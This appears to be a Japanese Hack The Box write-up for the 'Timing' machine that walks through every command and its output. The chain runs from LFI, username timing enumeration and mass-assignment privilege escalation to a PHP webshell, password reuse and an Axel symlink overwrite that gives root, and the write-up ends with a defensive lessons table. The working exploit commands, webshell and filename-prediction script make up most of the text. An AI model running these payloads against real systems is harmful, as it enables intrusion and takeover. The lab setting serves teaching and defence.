Hack The BoxのWriteup(Timing)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Timing — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp, 80/tcp
image.php LFI
php://filter でソース奪取
login.php タイミング攻撃
sleep(1) side-channel → aaron 特定
Mass Assignment
role=1 で管理者昇格
ファイル名予測 + LFI
webshell RCE (www-data)
user.txt ✓
git履歴パスワード使い回し
aaron SSH
netutils(Axel) + $HOME保持
authorized_keys 上書き
root.txt ✓

Nmap スキャン & サイト確認

BASH
nmap -sV -sC -p 22,80 10.129.51.99
curl -s http://10.129.51.99/login.php | grep -o "<title>.*</title>"
RESULT
22/tcp open ssh   OpenSSH (Ubuntu)
80/tcp open http  Apache httpd 2.4.29 ((Ubuntu))
<title>Simple WebApp</title>
ℹ️
ルートは /login.php へリダイレクトされる。フォーム送信すると PHPSESSID Cookie が発行される典型的な PHP セッションログイン画面。

image.php の LFI 発見

BASH
# ログインフォームの <img src="./images/user-icon.png"> をヒントに
# image.php?img= パラメータをファジング
curl -s "http://10.129.51.99/image.php?img=login.php" | head -c 300
RESULT
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Simple WebApp</title>
    ...
🚨
login.php の中身が「読まれた」のではなく「実行された結果」が返っている (PHPソースがそのまま出力されていない)ため、include() による ローカルファイルインクルード(LFI)と確定できる。 ../ や先頭 / はフィルタでブロックされるが、 php://filter ラッパーは通る。

php://filter でソースコードをダウンロード

BASH
#!/bin/bash
curl -s "http://10.129.51.99/image.php?img=php://filter/convert.base64-encode/resource=$1" | base64 -d

# 各ファイルを取得
./download.sh login.php > src/login.php
./download.sh upload.php > src/upload.php
./download.sh profile_update.php > src/profile_update.php
./download.sh db_conn.php > src/db_conn.php
./download.sh /etc/passwd > src/passwd
RESULT (db_conn.php)
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
RESULT (/etc/passwd 抜粋)
...
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
ℹ️
通常ユーザーは aaron のみ。次フェーズでこの名前が有効ログインIDかを タイミング攻撃で確認する。

login.php の該当ロジック

RESULT (login.php 抜粋)
function createTimeChannel()
{
    sleep(1);
}
...
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$user = $statement->fetch();

if ($user !== false) {
    createTimeChannel();   // ← 有効ユーザーの時だけ1秒スリープ
    if (password_verify($password, $user['password'])) {
        ...
    }
}
🚨
SQLはプリペアドステートメントでSQLi不可だが、ユーザー名が存在する場合のみ 1秒のスリープが挟まるため、レスポンス時間の差から有効ユーザー名を パスワード無しで特定できる(タイミングサイドチャネル攻撃)。
PHASE 2

タイミングサイドチャネル攻撃でユーザー名を特定

存在しないユーザー vs aaron の応答時間比較

BASH
for i in 1 2 3 4 5; do
  curl -s -o /dev/null -w "%{time_total}\n" \
    "http://10.129.51.99/login.php?login=true" \
    -d "user=nonexistentuser12345&password=x"
done

for i in 1 2 3 4 5; do
  curl -s -o /dev/null -w "%{time_total}\n" \
    "http://10.129.51.99/login.php?login=true" \
    -d "user=aaron&password=x"
done
RESULT
存在しないユーザー: 0.398s / 0.399s / 0.401s / 0.398s / 0.433s
aaron:              1.453s / 1.454s / 1.457s / 1.460s / 1.457s
明確に約1秒の差が確認できた。aaron存在する有効ユーザー名と確定。 (/etc/passwd の全ユーザーを同様に総当たりすれば、パスワードなしでもユーザー列挙が可能)

ログイン(パスワード=ユーザー名と同一を試す)

BASH
curl -s -c cookies.txt "http://10.129.51.99/login.php?login=true" \
  -d "user=aaron&password=aaron"

curl -s -b cookies.txt "http://10.129.51.99/index.php"
RESULT
<h1 class="text-center" style="padding: 200px">You are logged in as user 2!</h1>
aaron:aaron でログイン成功(弱い/使い回しパスワードの典型例。 本番運用ならまず疑うべき組み合わせ)。
PHASE 3

Mass Assignment で管理者昇格 → 予測可能ファイル名 + LFI で RCE

profile_update.php の Mass Assignment

BASH
curl -s -b cookies.txt -c cookies.txt \
  "http://10.129.51.99/profile_update.php" \
  -d "firstName=x&lastName=x&email=x&company=x&role=1"
RESULT
{
    "id": "2",
    "username": "aaron",
    "password": "$2y$10$kbs9MM.M8G...",
    "lastName": "x", "firstName": "x", "email": "x", "company": "x",
    "role": "1"
}
🚨
フォームは firstName/lastName/email/company の4項目しか公開していないが、 サーバー側は POST に role があればそのまま更新してしまう (Mass Assignment 脆弱性)。 role=0(一般) → role=1(管理者)に昇格成功。/index.php に 「Admin panel」リンクが追加で表示されるようになる。

upload.php のファイル名生成バグ

NOTE
upload.php のソース(LFIで取得済み):

$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);

$file_hash 変数は使われず、シングルクォートで囲われたリテラル文字列 "$file_hash"
がそのまま time() と結合されてハッシュ化される実装ミス。つまりファイル名は
「アップロード処理が完了した瞬間のUNIXタイムスタンプ」だけで決まり、
レスポンスの Date ヘッダーから逆算すれば予測できる。
BASH
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.jpg

curl -s -b cookies.txt -D headers.txt \
  -F "fileToUpload=@shell.jpg" \
  "http://10.129.51.99/upload.php"

grep -i ^date: headers.txt
RESULT
The file has been uploaded.
Date: Sun, 23 Aug 2026 02:01:17 GMT

ファイル名を逆算して webshell を配置場所を特定

PYTHON
import hashlib, time, calendar
date_str = "Sun, 23 Aug 2026 02:01:17 GMT"
t = calendar.timegm(time.strptime(date_str, "%a, %d %b %Y %H:%M:%S GMT"))
for delta in range(-3, 4):
    ts = t + delta
    h = hashlib.md5(("$file_hash" + str(ts)).encode()).hexdigest()
    print(delta, h + "_shell.jpg")
BASH
# 候補ファイル名を総当たり確認 (delta -3〜+3 で十分)
curl -s -o /dev/null -w "%{http_code}" \
  "http://10.129.51.99/images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg"
RESULT
200  ← delta=0 (Dateヘッダーそのまま) でヒット

LFI で webshell を include させ RCE

BASH
curl -s "http://10.129.51.99/image.php?img=images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg" \
  -d "cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE成功。 直接 images/uploads/...jpg にアクセスしても 画像として扱われるだけで実行されないが、image.phpinclude() を使っているため PHP コードとして実行される。 アウトバウンド通信はファイアウォールで塞がれておりリバースシェルは通らないため、 以降は cmd= パラメータ経由のワンショットコマンド実行で進める。
PHASE 4

user.txt 取得 & パスワード使い回しで aaron の SSH 確保

user.txt 直読み

BASH
curl -s "http://10.129.51.99/image.php?img=images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg" \
  -d "cmd=cat /home/aaron/user.txt"
RESULT
0edeb4a117cbae7b6b74e805362e6543
user.txt — www-data権限で直接読み取り
0edeb4a117cbae7b6b74e805362e6543

/opt のバックアップzipからgit履歴の旧パスワードを発見

BASH
curl -s "http://10.129.51.99/image.php?img=images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg" \
  -d "cmd=cat /opt/source-files-backup.zip" -o source-files-backup.zip

unzip -q source-files-backup.zip && cd backup
git log --oneline
git diff e4e2146 16de269 -- db_conn.php
RESULT
e4e2146 init
16de269 db_conn updated

diff --git a/db_conn.php b/db_conn.php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
🚨
/opt/source-files-backup.zip(rootが読み取り専用で配置したバックアップ、 www-dataでも読み取り可能)の中にgitリポジトリの履歴が丸ごと残っており、 「削除したはずの旧パスワード」がコミット履歴から復元できる。 古いDBパスワード S3cr3t_unGu3ss4bl3_p422w0Rd は aaron の SSH パスワードとして 使い回されている

aaron で SSH ログイン

BASH
sshpass -p 'S3cr3t_unGu3ss4bl3_p422w0Rd' ssh aaron@10.129.51.99
aaron@timing:~$ sudo -l
RESULT
uid=1000(aaron) gid=1000(aaron) groups=1000(aaron)

Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils
aaron として SSH ログイン成功。/usr/bin/netutils をパスワード無しで root として実行できる — これが root への足がかりになる。
PHASE 5

netutils(Axel) + Ubuntu 18.04 の sudo $HOME 保持 → root.txt

netutils の正体を調査

BASH
aaron@timing:~$ cat /usr/bin/netutils
aaron@timing:~$ netutils   # sudoなしで実行するとエラーで手掛かりが出る
RESULT
#! /bin/bash
java -jar /root/netutils.jar

Error: Unable to access jarfile /root/netutils.jar
BASH
aaron@timing:~$ sudo netutils
RESULT
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
ℹ️
root所有の自作Javaツール。[1] HTTP を選ぶと URL を尋ねられ、内部的には Axel ダウンロードアクセラレータUser-Agent: Axel/2.16.1) を呼び出していることが挙動から分かる。

シンボリックリンクで /root/.ssh/authorized_keys を狙う

NOTE
Axel はダウンロード先ローカルファイル名が既に存在する場合、上書きを避けて
".0" を付けた別名で保存する安全策を持つ。しかし、ローカルファイル名として
まだ存在しない名前のシンボリックリンクを用意しておけば、Axelはリンクを
辿って実体ファイルへ書き込む。/root/.ssh ディレクトリは存在するが
authorized_keys がまだ無い状態であれば、このリンク越しの書き込みで
root の authorized_keys を新規作成できてしまう。
BASH
# ローカル(Kali)で鍵ペア生成
ssh-keygen -t ed25519 -f ./root_key -N ""

# ターゲット(aaronのホームディレクトリ)でシンボリックリンク作成
aaron@timing:~$ ln -s /root/.ssh/authorized_keys k.pub

# Kali側で公開鍵を配信するWebサーバを起動
python3 -m http.server 80   # index.html = root_key.pub の内容

netutils 経由でダウンロードさせる

BASH
aaron@timing:~$ sudo netutils
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.15.201/k.pub
RESULT
Initializing download: http://10.10.15.201/k.pub
File size: 91 bytes
Opening output file k.pub
Server unsupported, starting from scratch with one connection.
Starting download

Downloaded 91 byte in 0 seconds. (0.22 KB/s)
“Opening output file k.pub“(k.pub.0ではない)と表示され、 シンボリックリンク経由で /root/.ssh/authorized_keys新規書き込みできたことを確認。
⚠️
この手法は「対象ファイルがまだ存在しない」場合のみ有効な一発勝負。 既に authorized_keys に何か内容がある状態で同じ操作をすると、 Axel は “Opening output file k.pub.0” のように別名保存してしまい上書きされない (シンボリックリンクの実体側の存在チェックが効くため)。この点は 0xdf 氏の ウォークスルーの「Beyond Root」でも明記されている既知の注意点。

なぜ root権限のnetutilsが aaron のホームディレクトリを見るのか

NOTE
本来 root として実行されるコマンドは $HOME=/root を見るはずである。
しかし Ubuntu 18.04 系まで(19.10より前)の sudo は、-H オプションを
明示しない限り $HOME 環境変数を「実行前のユーザーのまま保持する」
パッチが長年当てられていた(19.10で標準動作に変更・撤廃)。

つまり aaron が `sudo netutils` を実行しても $HOME は /home/aaron の
ままであり、Axel が読みに行く `~/.axelrc` や、シンボリックリンクの
相対パス基準ディレクトリも /home/aaron のまま。これが aaron の
ホームディレクトリに仕込んだ罠が root プロセスに刺さる理由。
Ubuntu 19.10以降ではこの前提が崩れるため通用しない。

root として SSH ログイン & root.txt 取得

BASH
ssh -i ./root_key root@10.129.51.99
root@timing:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
7231f5684827083e97454d2c15e121a4
root.txt
7231f5684827083e97454d2c15e121a4
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — aaron
0edeb4a117cbae7b6b74e805362e6543
root.txt
7231f5684827083e97454d2c15e121a4

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LFI (php://filter) image.php ソースコード開示・任意PHP実行の足がかり High ?img=php://filter/convert.base64-encode/resource=<file> で任意ファイル読み取り、include()なので配置済みファイルはRCEに直結
タイミングサイドチャネル login.php (createTimeChannel) パスワード無しでの有効ユーザー名列挙 Medium 有効ユーザー名の時だけ sleep(1) が入る差をレスポンス時間から検出
Mass Assignment profile_update.php 権限昇格 (一般ユーザー→管理者) High フォーム外の role パラメータを追加送信するだけでDB更新される
予測可能なアップロードファイル名 upload.php webshell配置場所の特定 Medium md5('$file_hash'.time()) のリテラル文字列バグでDateヘッダから逆算可能
パスワード使い回し / gitシークレット残留 /opt/source-files-backup.zip 内 .git SSH認証情報の奪取 Medium 削除済みDBパスワードがgit履歴に残存、aaronのSSHパスワードとして再利用されていた
sudo $HOME保持 + Axel任意ファイル上書き /usr/bin/netutils (Ubuntu 18.04) root権限奪取 Critical sudoが$HOMEを保持する18.04特有の挙動を突き、aaronのホームに仕込んだシンボリックリンク経由でroot所有ファイルを上書き

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察/LFIimage.php + php://filterlogin.php/upload.php/db_conn.php等のソース一式
2ユーザー列挙login.phpのsleep(1)タイミング攻撃有効ユーザー aaron 特定
3権限昇格(Web)profile_update.php mass assignmentrole=1(管理者)への昇格
4RCE→user.txtアップロードファイル名予測 + LFI includeuser.txt 取得(www-data経由)
5横展開/opt バックアップzipのgit履歴からパスワード復元aaron SSHログイン、sudo -lでnetutils発見
6権限昇格(OS)netutils(Axel) + sudo $HOME保持 + symlinkroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
image.php がユーザー指定パスをそのまま include() 許可リスト方式でファイル名を検証する。include先は固定候補からのマッピングのみ許可し、ラッパー(php://等)を無効化する。
認証チェックの処理時間がユーザー存在有無で変わる ユーザーが存在しない場合でもダミーハッシュに対して同じ password_verify() 相当の処理を行い、レスポンス時間を均一化する。
Mass Assignmentでクライアント指定フィールドが無条件にDB更新される 更新可能なフィールドをホワイトリストで明示指定し、role等の権限系フィールドはユーザー入力から絶対に受け付けない。
アップロードファイル名が推測可能 暗号学的に安全な乱数(random_bytes等)でファイル名を生成し、アップロードディレクトリでのPHP実行を無効化する(.htaccessやphp_admin_flag)。
バックアップzipにgitリポジトリごと残置、旧シークレットが残存 バックアップから.gitやログを除外する。ローテーション済みでも露見したシークレットは全環境で無効化・再発行する。
Ubuntu 18.04のsudoが$HOMEを保持し自作ツールがそれを信頼 OSをアップグレードするか、sudoersで Defaults always_set_home を明示設定する。特権昇格するツールは$HOMEなど環境変数に依存せず絶対パスで動作するよう実装する。
HackTheBox: Timing | 完全攻略レポート